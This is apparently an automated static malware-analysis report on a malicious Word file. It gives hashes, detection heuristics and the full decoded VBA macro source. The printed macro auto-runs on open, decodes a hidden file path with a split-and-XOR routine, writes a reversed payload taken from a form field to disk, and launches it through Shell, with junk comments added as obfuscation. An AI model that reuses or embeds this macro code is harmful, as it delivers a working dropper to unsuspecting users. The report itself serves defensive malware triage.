Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f3cf2ebf56a81a8a…

MALICIOUS

Office (OOXML)

78.8 KB Created: 2021-02-04 08:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-23
MD5: 5790ec844d2e668984fb07cf24b917ed SHA-1: 0a7e74ae58f383f6b96e0080043d5cf4820cebc9 SHA-256: f3cf2ebf56a81a8afd2d86fabbf4087a544d349b7f4a4dd37ae304ff47920c88
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "C:\Windows\explorer.exe " & a9irm
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set aN6sm = CreateObject("Scripting.FileSystemObject")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4319 bytes
SHA-256: 795954f090533ca8264b27269daf69fa022abc0a85b7afcefe4e3828bce8b936
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myf"
Attribute VB_Base = "0{16763085-3C93-463D-99D8-B145700BF18A}{59C4E7BB-A9FB-4DB2-91DD-B3F2B23E1220}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ab5EJy"
Function aX4Z7(aqtJF)
aCQRBn = "1234"
' Marl broad networks
' Authorized serum begin
' Cede cardiff
' Prescription anal nascent
' Colourless lire record
' Exemplify indus tuning
If anrimp <> 16 Then
aX4Z7 = VBA.Split(aqtJF, aCQRBn)
End If
End Function
Sub AutoOpen()
' Bi
' Jumps failures parliament snore
apm7I
End Sub

Attribute VB_Name = "axNK7"
Function aMy3ZT()
' Broadband cobra
' Archives retirement almighty hoary walloon
' Additionally authorities
' Dualism generic mass
' Occupant processor
' Appropriations tureen liz portraits
aMy3ZT = myf.text1.value
End Function
Function a7dwK(aioslg)
Dim ahRYZ As String
Dim ach8Cs As String
Dim aT82Rg As Long
Dim al9Ogj As Integer
aT82Rg = Len(aioslg)
ahRYZ = ""
For al9Ogj = aT82Rg To 1 Step -1
ach8Cs = Mid(aioslg, al9Ogj, 1)
ahRYZ = ahRYZ & ach8Cs
Next al9Ogj
a7dwK = ahRYZ
End Function
Function aCYFm2(arcMGL)
' Bermuda
If arcMGL <> 16 Then
aCYFm2 = Chr("" & arcMGL & "")
End If
End Function
Sub ajCHn(asm2e, aaUGt)
' Brawny betty minolta
' Script opprobrium
' Usr henry store purchasing
Set aN6sm = CreateObject("Scripting.FileSystemObject")
' Antonio hotels stoic
' Sexton
' Omniscient corolla papal hera sheets pissing
' Withers vans alexandra shorts
Set aAC7R = aN6sm.CreateTextFile(asm2e)
aAC7R.WriteLine aaUGt
aAC7R.Close
' Couplet loading darrell
' Card staffs
' Montreal determines minolta sparse
' Delivers assuming critics pickaxe adventuress powell
' Seventy-four
' Impressive boots dormant
' Wrongdoing students inclusive varuna
' Bufing removed nba myself digestive
' Waxing medicinal prostores pelf
' Dais delete
' Differentiation adventitious voluptuous dollar
' Sie handling redolent
' Cult police discontinued nor sky alternatively animal
' Crew
' Exodus over- irrigation adobe
End Sub

Attribute VB_Name = "aLl92v"
Public Const aD9Sx As String = "1171234104123496123412412341271234981234117123498"
Public Const ayCma As String = "11512344212347612349612349812341271234119123498123411312341251234116123411312341001234113123476123411312348112341181234911234691234123123462123412012341001234113"
Function a8XwtN(aarbZ5, aihuL)
' Carbolic robust bitch
' Happen harpoon edit queue
' Protecting clinic
' Cuckold cinderella divulge
' Deranged lands
If Len(aarbZ5) <> 4 Then
a8XwtN = Trim("" & aarbZ5 Xor aihuL)
End If
End Function
Function alchms(ap2Oc As Variant)
Dim a7aok As String
a7aok = ""
For aL1nq0 = 0 To UBound(ap2Oc)
aU40MK = aCYFm2(a8XwtN(ap2Oc(aL1nq0), 16))
a7aok = a7aok & aU40MK
Next aL1nq0
alchms = a7aok
End Function
Sub apm7I()
' Championships
' Fickleness
' Initially adapter
' Bikini reproduce
' Incongruous consequence observant caper fornication
' Dresses accent defensible fie evaporate spice
' Churches hat temperature vibrate cuckold
avL3oi = aMy3ZT()
' Humans chapman
' Referenced
' Adores plants instructional sell
' Intend substitution backbone porous knows
' Doggedly drug forage prodigy
' Jaunt present-day formal exponent
' Hs had mammals respectively sand beck flip
a9irm = alchms(aX4Z7(ayCma))
' Interstate
' Respiratory
Call ajCHn(a9irm, a7dwK(avL3oi))
' Dike bacchus heinous max
' Regenerate dancer partner arg
' Ashen vociferous insomnia
' Skepticism muslim mutual oils
' Dazzle athletes pico
' Impacts concentrations short-lived practical subversion
Shell "C:\Windows\explorer.exe " & a9irm
' Pharmacies amaryllis municipal
' Indigent newport
' Crags
' Cog decide killing jesse rock
' Ruby uh
' Wait stomach perth
' Larch training coop internship
' Quantum prune taiwan
' Expenses retaliation
' Immobile heterodox xhtml
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 31744 bytes
SHA-256: a1a87adff8ae7dfefde089b4856850cd34f8f9e70286292193935e0f9daf05f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).

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